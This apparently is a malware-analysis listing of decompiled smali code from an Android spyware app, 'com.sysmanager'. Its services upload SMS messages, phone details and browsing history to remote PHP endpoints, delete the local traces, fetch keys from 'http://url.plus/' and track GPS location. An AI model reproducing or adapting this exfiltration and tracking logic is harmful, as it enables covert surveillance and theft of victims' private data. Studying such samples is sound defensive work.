46iget-object v1, p0, Lcom/sysmanager/system/AndroidMessagingService$1;->this$0:Lcom/sysmanager/system/AndroidMessagingService;
48invoke-virtual {v1}, Lcom/sysmanager/system/AndroidMessagingService;->stopSelf()V
49return-void
50try_start_40:
51iget-object v1, p0, Lcom/sysmanager/system/AndroidMessagingService$1;->this$0:Lcom/sysmanager/system/AndroidMessagingService;
53invoke-virtual {v1}, Lcom/sysmanager/system/AndroidMessagingService;->getApplicationContext()Landroid/content/Context;
54move-result-object v1
56invoke-static {v1}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
57move-result-object v3
59invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
60move-result v1
61if-nez v1, :cond_2a
63const-string v1, "lst"
65const-string v2, "A70"
67const-string v4, "upload_sms.php"
69const-string v5, ""
71iget-object v6, p0, Lcom/sysmanager/system/AndroidMessagingService$1;->this$0:Lcom/sysmanager/system/AndroidMessagingService;
73invoke-virtual {v6}, Lcom/sysmanager/system/AndroidMessagingService;->getApplicationContext()Landroid/content/Context;
74move-result-object v6
76invoke-static/range {v0 .. v6}, Lcom/sysmanager/network/HTTPUtility;->doFileUpload(Ljava/io/File;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)Z
77move-result v8
78if-eqz v8, :cond_2a
79new-instance v10, Ljava/io/File;
81const-string v1, "lst"
83invoke-direct {v10, v0, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
85invoke-virtual {v10}, Ljava/io/File;->delete()Z
87const-string v1, "smsYES"
89iget-object v2, p0, Lcom/sysmanager/system/AndroidMessagingService$1;->this$0:Lcom/sysmanager/system/AndroidMessagingService;
91invoke-virtual {v2}, Lcom/sysmanager/system/AndroidMessagingService;->getApplicationContext()Landroid/content/Context;
92move-result-object v2
94const-string v4, "A70"
96invoke-static {v1, v2, v4}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
97try_end_7b: goto/16 :goto_2a
98catch_7c: move-exception v9
100iget-object v1, p0, Lcom/sysmanager/system/AndroidMessagingService$1;->this$0:Lcom/sysmanager/system/AndroidMessagingService;
102invoke-virtual {v1}, Lcom/sysmanager/system/AndroidMessagingService;->getApplicationContext()Landroid/content/Context;
103move-result-object v1
105invoke-static {v9}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
106move-result-object v2
108invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
109goto/16 :goto_2a
APIs
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemCall.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.system.AndroidSystemCall.stopSelf
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
  • java.lang.String.isEmpty
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
  • java.io.File.<init>
  • java.io.File.delete
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
Strings
  • /cachel2/
  • col11
  • intest
  • A70
  • upload_info_tel.php
  • infoYES
Position Instruction Meta Information
0.prologue
1try_start_0: new-instance v0, Ljava/io/File;
2new-instance v1, Ljava/lang/StringBuilder;
4invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
6iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall$1;->this$0:Lcom/sysmanager/system/AndroidSystemCall;
8invoke-virtual {v2}, Lcom/sysmanager/system/AndroidSystemCall;->getFilesDir()Ljava/io/File;
9move-result-object v2
11invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
12move-result-object v1
14const-string v2, "/cachel2/"
16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
17move-result-object v1
19invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
20move-result-object v1
22invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
24iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemCall$1;->this$0:Lcom/sysmanager/system/AndroidSystemCall;
26invoke-virtual {v1}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
27move-result-object v1
29invoke-static {v1}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
30try_end_27: move-result v7
31if-nez v7, :cond_40
32cond_2a:
33iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemCall$1;->this$0:Lcom/sysmanager/system/AndroidSystemCall;
35invoke-virtual {v1}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
36move-result-object v1
38invoke-static {v1}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
39move-result-object v1
41const-string v2, "col11"
42const/4 v4, 0x0
44invoke-virtual {v1, v2, v4}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
46iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemCall$1;->this$0:Lcom/sysmanager/system/AndroidSystemCall;
48invoke-virtual {v1}, Lcom/sysmanager/system/AndroidSystemCall;->stopSelf()V
49return-void
50try_start_40:
51iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemCall$1;->this$0:Lcom/sysmanager/system/AndroidSystemCall;
53invoke-virtual {v1}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
54move-result-object v1
56invoke-static {v1}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
57move-result-object v3
59invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
60move-result v1
61if-nez v1, :cond_2a
63const-string v1, "intest"
65const-string v2, "A70"
67const-string v4, "upload_info_tel.php"
69const-string v5, ""
71iget-object v6, p0, Lcom/sysmanager/system/AndroidSystemCall$1;->this$0:Lcom/sysmanager/system/AndroidSystemCall;
73invoke-virtual {v6}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
74move-result-object v6
76invoke-static/range {v0 .. v6}, Lcom/sysmanager/network/HTTPUtility;->doFileUpload(Ljava/io/File;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)Z
77move-result v8
78if-eqz v8, :cond_2a
79new-instance v10, Ljava/io/File;
81const-string v1, "intest"
83invoke-direct {v10, v0, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
85invoke-virtual {v10}, Ljava/io/File;->delete()Z
87const-string v1, "infoYES"
89iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall$1;->this$0:Lcom/sysmanager/system/AndroidSystemCall;
91invoke-virtual {v2}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
92move-result-object v2
94const-string v4, "A70"
96invoke-static {v1, v2, v4}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
97try_end_7b: goto/16 :goto_2a
98catch_7c: move-exception v9
100iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemCall$1;->this$0:Lcom/sysmanager/system/AndroidSystemCall;
102invoke-virtual {v1}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
103move-result-object v1
105invoke-static {v9}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
106move-result-object v2
108invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
109goto/16 :goto_2a
APIs
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidTouch.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • com.sysmanager.system.AndroidTouch.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.system.AndroidTouch.stopSelf
  • com.sysmanager.system.AndroidTouch.getApplicationContext
  • java.lang.String.isEmpty
  • com.sysmanager.system.AndroidTouch.getApplicationContext
  • java.io.File.<init>
  • java.io.File.delete
  • com.sysmanager.system.AndroidTouch.getApplicationContext
Strings
  • /cachel2
  • col13
  • listahistory
  • A70
  • upload_history.php
  • historyYES
Position Instruction Meta Information
0.prologue
1new-instance v0, Ljava/io/File;
2new-instance v1, Ljava/lang/StringBuilder;
4invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
6iget-object v2, p0, Lcom/sysmanager/system/AndroidTouch$1;->this$0:Lcom/sysmanager/system/AndroidTouch;
8invoke-virtual {v2}, Lcom/sysmanager/system/AndroidTouch;->getFilesDir()Ljava/io/File;
9move-result-object v2
11invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
12move-result-object v1
14const-string v2, "/cachel2"
16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
17move-result-object v1
19invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
20move-result-object v1
22invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
23try_start_1e:
24iget-object v1, p0, Lcom/sysmanager/system/AndroidTouch$1;->this$0:Lcom/sysmanager/system/AndroidTouch;
26invoke-virtual {v1}, Lcom/sysmanager/system/AndroidTouch;->getApplicationContext()Landroid/content/Context;
27move-result-object v1
29invoke-static {v1}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
30move-result v7
31if-nez v7, :cond_40
32cond_2a:
33iget-object v1, p0, Lcom/sysmanager/system/AndroidTouch$1;->this$0:Lcom/sysmanager/system/AndroidTouch;
35invoke-virtual {v1}, Lcom/sysmanager/system/AndroidTouch;->getApplicationContext()Landroid/content/Context;
36move-result-object v1
38invoke-static {v1}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
39move-result-object v1
41const-string v2, "col13"
42const/4 v4, 0x0
44invoke-virtual {v1, v2, v4}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
45try_end_3a:
46iget-object v1, p0, Lcom/sysmanager/system/AndroidTouch$1;->this$0:Lcom/sysmanager/system/AndroidTouch;
48invoke-virtual {v1}, Lcom/sysmanager/system/AndroidTouch;->stopSelf()V
49return-void
50try_start_40:
51iget-object v1, p0, Lcom/sysmanager/system/AndroidTouch$1;->this$0:Lcom/sysmanager/system/AndroidTouch;
53invoke-virtual {v1}, Lcom/sysmanager/system/AndroidTouch;->getApplicationContext()Landroid/content/Context;
54move-result-object v1
56invoke-static {v1}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
57move-result-object v3
59invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
60move-result v1
61if-nez v1, :cond_2a
63const-string v1, "listahistory"
65const-string v2, "A70"
67const-string v4, "upload_history.php"
69const-string v5, ""
71iget-object v6, p0, Lcom/sysmanager/system/AndroidTouch$1;->this$0:Lcom/sysmanager/system/AndroidTouch;
73invoke-virtual {v6}, Lcom/sysmanager/system/AndroidTouch;->getApplicationContext()Landroid/content/Context;
74move-result-object v6
76invoke-static/range {v0 .. v6}, Lcom/sysmanager/network/HTTPUtility;->doFileUpload(Ljava/io/File;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)Z
77move-result v8
78if-eqz v8, :cond_2a
79new-instance v10, Ljava/io/File;
81const-string v1, "listahistory"
83invoke-direct {v10, v0, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
85invoke-virtual {v10}, Ljava/io/File;->delete()Z
87const-string v1, "historyYES"
89iget-object v2, p0, Lcom/sysmanager/system/AndroidTouch$1;->this$0:Lcom/sysmanager/system/AndroidTouch;
91invoke-virtual {v2}, Lcom/sysmanager/system/AndroidTouch;->getApplicationContext()Landroid/content/Context;
92move-result-object v2
94const-string v4, "A70"
96invoke-static {v1, v2, v4}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
97try_end_7b: goto/16 :goto_2a
98catch_7c: move-exception v9
100iget-object v1, p0, Lcom/sysmanager/system/AndroidTouch$1;->this$0:Lcom/sysmanager/system/AndroidTouch;
102invoke-virtual {v1}, Lcom/sysmanager/system/AndroidTouch;->getApplicationContext()Landroid/content/Context;
103move-result-object v1
105invoke-static {v9}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
106move-result-object v2
108invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
109goto/16 :goto_3a
Cross References
APIs
  • java.lang.String.contains
  • java.lang.String.startsWith
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValueString
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValueString
  • java.lang.String.contains
  • org.json.JSONObject.toString
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValueString
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValueString
  • org.json.JSONObject.toString
Strings
  • http://url.plus/
  • req_server_key.php
  • -----BEGIN CERTIFICATE-----
  • col22
  • ser.php
  • col23
Position Instruction Meta Information
0.param p0, "targetURL" # Ljava/lang/String;
1.param p1, "json" # Lorg/json/JSONObject;
2.param p2, "context" # Landroid/content/Context;
3.prologue
5const-string v2, ""
6try_start_2:
7const-string v3, "http://url.plus/"
9invoke-virtual {p0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
10move-result v3
11if-eqz v3, :cond_87
13const-string v3, "req_server_key.php"
15invoke-virtual {p0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
16move-result v3
17if-eqz v3, :cond_2a
19invoke-static {p0}, Lcom/sysmanager/network/HTTPUtility;->requestAESKeyToServer(Ljava/lang/String;)Ljava/lang/String;
20move-result-object v2
22const-string v3, "-----BEGIN CERTIFICATE-----"
24invoke-virtual {v2, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
25move-result v3
26if-eqz v3, :cond_27
28invoke-static {p2}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
29move-result-object v3
31const-string v4, "col22"
33invoke-virtual {v3, v4, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;Ljava/lang/String;)V
34cond_27: if-eqz v2, :cond_29
35cond_29: return-object v2
36cond_2a:
37invoke-static {p2}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
38move-result-object v3
40const-string v4, "col22"
42invoke-virtual {v3, v4}, Lcom/sysmanager/storage/Settings;->getValueString(Ljava/lang/String;)Ljava/lang/String;
43move-result-object v1
44const/4 v3, 0x1
46invoke-static {v1, v3, p2}, Lcom/sysmanager/network/HTTPUtility;->isCertExpired(Ljava/lang/String;ZLandroid/content/Context;)Z
47move-result v3
48if-nez v3, :cond_27
50invoke-static {p2}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
51move-result-object v3
53const-string v4, "col22"
55invoke-virtual {v3, v4}, Lcom/sysmanager/storage/Settings;->getValueString(Ljava/lang/String;)Ljava/lang/String;
56move-result-object v1
58const-string v3, "ser.php"
60invoke-virtual {p0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
61move-result v3
62if-eqz v3, :cond_6a
64invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->getKeyCrypt(Ljava/lang/String;)Ljava/lang/String;
65move-result-object v3
67invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->getIVCrypt(Ljava/lang/String;)Ljava/lang/String;
68move-result-object v4
70invoke-virtual {p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
71move-result-object v5
73invoke-static {v1, v5, p0}, Lcom/sysmanager/network/HTTPUtility;->sendStringEncrypted(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Response;
74move-result-object v5
76invoke-virtual {v5}, Lokhttp3/Response;->body()Lokhttp3/ResponseBody;
77move-result-object v5
79invoke-virtual {v5}, Lokhttp3/ResponseBody;->string()Ljava/lang/String;
80move-result-object v5
82invoke-static {v3, v4, v5}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptStringServerCom(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
83move-result-object v2
84goto/16 :goto_27
85cond_6a:
86invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->getKeyCrypt(Ljava/lang/String;)Ljava/lang/String;
87move-result-object v3
89invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->getIVCrypt(Ljava/lang/String;)Ljava/lang/String;
90move-result-object v4
92invoke-virtual {p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
93move-result-object v5
95invoke-static {v1, v5, p0}, Lcom/sysmanager/network/HTTPUtility;->sendStringEncrypted(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Response;
96move-result-object v5
98invoke-virtual {v5}, Lokhttp3/Response;->body()Lokhttp3/ResponseBody;
99move-result-object v5
101invoke-virtual {v5}, Lokhttp3/ResponseBody;->string()Ljava/lang/String;
102move-result-object v5
104invoke-static {v3, v4, v5}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptStringServerCom(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
105move-result-object v2
106goto/16 :goto_27
107cond_87:
108invoke-static {p2}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
109move-result-object v3
111const-string v4, "col23"
113invoke-virtual {v3, v4}, Lcom/sysmanager/storage/Settings;->getValueString(Ljava/lang/String;)Ljava/lang/String;
114move-result-object v1
115const/4 v3, 0x0
117invoke-static {v1, v3, p2}, Lcom/sysmanager/network/HTTPUtility;->isCertExpired(Ljava/lang/String;ZLandroid/content/Context;)Z
118move-result v3
119if-nez v3, :cond_27
121invoke-static {p2}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
122move-result-object v3
124const-string v4, "col23"
126invoke-virtual {v3, v4}, Lcom/sysmanager/storage/Settings;->getValueString(Ljava/lang/String;)Ljava/lang/String;
127move-result-object v1
129invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->getKeyCrypt(Ljava/lang/String;)Ljava/lang/String;
130move-result-object v3
132invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->getIVCrypt(Ljava/lang/String;)Ljava/lang/String;
133move-result-object v4
135invoke-virtual {p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
136move-result-object v5
138invoke-static {v1, v5, p0}, Lcom/sysmanager/network/HTTPUtility;->sendStringEncrypted(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Response;
139move-result-object v5
141invoke-virtual {v5}, Lokhttp3/Response;->body()Lokhttp3/ResponseBody;
142move-result-object v5
144invoke-virtual {v5}, Lokhttp3/ResponseBody;->string()Ljava/lang/String;
145move-result-object v5
147invoke-static {v3, v4, v5}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptStringServerCom(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
148try_end_bd: move-result-object v2
149goto/16 :goto_27
150catch_c0: move-exception v0
152invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
153move-result-object v3
155invoke-static {p2, v3}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
156goto/16 :goto_27
APIs
  • android.content.Intent.getIntExtra
  • android.content.Intent.getBooleanExtra
  • com.sysmanager.system.AndroidSystemQueues.enableGps
  • com.sysmanager.system.AndroidSystemQueues.startLocationRequest
  • com.sysmanager.system.AndroidSystemQueues.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.system.AndroidSystemQueues.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.system.AndroidSystemQueues.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.system.AndroidSystemQueues.stopSelf
  • com.sysmanager.system.AndroidSystemQueues.startLocationRequest
Strings
  • extra_accuracy
  • extra_force
  • extra_move
  • col07
  • col25
  • col06
Position Instruction Meta Information
0.param p1, "intent" # Landroid/content/Intent;
1.param p2, "flags" # I
2.param p3, "startId" # I
3.prologue
4const/4 v0, 0x0
5const/16 v4, 0x64
6const/4 v1, 0x1
7if-eqz p1, :cond_4e
9const-string v2, "extra_accuracy"
11invoke-virtual {p1, v2, v4}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
12move-result v2
13iput v2, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mAccuracyRequest:I
15const-string v2, "extra_force"
17invoke-virtual {p1, v2, v0}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
18move-result v2
19iput-boolean v2, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mIsForce:Z
21const-string v2, "extra_move"
23invoke-virtual {p1, v2, v0}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
24move-result v0
25iput-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mMoveDetection:Z
26goto_1e: iget v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mAccuracyRequest:I
27if-ne v0, v4, :cond_25
29invoke-direct {p0, v1}, Lcom/sysmanager/system/AndroidSystemQueues;->enableGps(Z)V
30cond_25: iget-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mPlayServicesCurrent:Z
31if-eqz v0, :cond_9f
32new-instance v0, Lcom/google/android/gms/location/LocationRequest;
34invoke-direct {v0}, Lcom/google/android/gms/location/LocationRequest;-><init>()V
35const-wide/16 v2, 0x7530
37invoke-virtual {v0, v2, v3}, Lcom/google/android/gms/location/LocationRequest;->setInterval(J)Lcom/google/android/gms/location/LocationRequest;
38move-result-object v0
39const-wide/16 v2, 0x1388
41invoke-virtual {v0, v2, v3}, Lcom/google/android/gms/location/LocationRequest;->setFastestInterval(J)Lcom/google/android/gms/location/LocationRequest;
42move-result-object v0
43iget v2, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mAccuracyRequest:I
45invoke-virtual {v0, v2}, Lcom/google/android/gms/location/LocationRequest;->setPriority(I)Lcom/google/android/gms/location/LocationRequest;
46move-result-object v0
47iput-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mLocationRequest:Lcom/google/android/gms/location/LocationRequest;
49iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
51invoke-virtual {v0}, Lcom/google/android/gms/common/api/GoogleApiClient;->isConnected()Z
52move-result v0
53if-eqz v0, :cond_91
55invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->startLocationRequest()V
56cond_4d: return v1
57cond_4e:
58invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->getApplicationContext()Landroid/content/Context;
59move-result-object v2
61invoke-static {v2}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
62move-result-object v2
64const-string v3, "col07"
66invoke-virtual {v2, v3}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
67move-result v2
68if-ne v2, v1, :cond_78
69iput v4, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mAccuracyRequest:I
70goto_60: iget v2, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mAccuracyRequest:I
71if-ne v2, v4, :cond_75
73invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->getApplicationContext()Landroid/content/Context;
74move-result-object v2
76invoke-static {v2}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
77move-result-object v2
79const-string v3, "col25"
81invoke-virtual {v2, v3}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
82move-result v2
83if-ne v2, v1, :cond_75
84move v0, v1
85cond_75: iput-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mMoveDetection:Z
86goto/16 :goto_1e
87cond_78:
88invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->getApplicationContext()Landroid/content/Context;
89move-result-object v2
91invoke-static {v2}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
92move-result-object v2
94const-string v3, "col06"
96invoke-virtual {v2, v3}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
97move-result v2
98if-ne v2, v1, :cond_8d
99const/16 v2, 0x66
100iput v2, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mAccuracyRequest:I
101goto/16 :goto_60
102cond_8d:
103invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->stopSelf()V
104goto/16 :goto_60
105cond_91:
106iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
108invoke-virtual {v0}, Lcom/google/android/gms/common/api/GoogleApiClient;->isConnecting()Z
109move-result v0
110if-nez v0, :cond_4d
112iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
114invoke-virtual {v0}, Lcom/google/android/gms/common/api/GoogleApiClient;->connect()V
115goto/16 :goto_4d
116cond_9f:
117invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->startLocationRequest()V
118goto/16 :goto_4d
APIs
  • android.app.Service.onCreate
  • com.sysmanager.system.AndroidMDMSupport.checkCallingOrSelfPermission
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidMDMSupport.getExternalFilesDir
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdir
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidMDMSupport.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdir
  • com.sysmanager.system.AndroidMDMSupport.getApplicationContext
Strings
  • android.permission.WRITE_EXTERNAL_STORAGE
  • /.social
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
4const-string v1, "android.permission.WRITE_EXTERNAL_STORAGE"
6invoke-virtual {p0, v1}, Lcom/sysmanager/system/AndroidMDMSupport;->checkCallingOrSelfPermission(Ljava/lang/String;)I
7move-result v1
8if-nez v1, :cond_41
9try_start_b: sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
10const/16 v2, 0x16
11if-le v1, v2, :cond_42
12new-instance v1, Ljava/io/File;
13new-instance v2, Ljava/lang/StringBuilder;
15invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
16const/4 v3, 0x0
18invoke-virtual {p0, v3}, Lcom/sysmanager/system/AndroidMDMSupport;->getExternalFilesDir(Ljava/lang/String;)Ljava/io/File;
19move-result-object v3
21invoke-virtual {v3}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
22move-result-object v3
24invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
25move-result-object v2
27const-string v3, "/.social"
29invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30move-result-object v2
32invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
33move-result-object v2
35invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
36iput-object v1, p0, Lcom/sysmanager/system/AndroidMDMSupport;->mDir:Ljava/io/File;
38iget-object v1, p0, Lcom/sysmanager/system/AndroidMDMSupport;->mDir:Ljava/io/File;
40invoke-virtual {v1}, Ljava/io/File;->exists()Z
41move-result v1
42if-nez v1, :cond_41
44iget-object v1, p0, Lcom/sysmanager/system/AndroidMDMSupport;->mDir:Ljava/io/File;
46invoke-virtual {v1}, Ljava/io/File;->mkdir()Z
47goto_41: return-void
48cond_42: new-instance v1, Ljava/io/File;
49new-instance v2, Ljava/lang/StringBuilder;
51invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
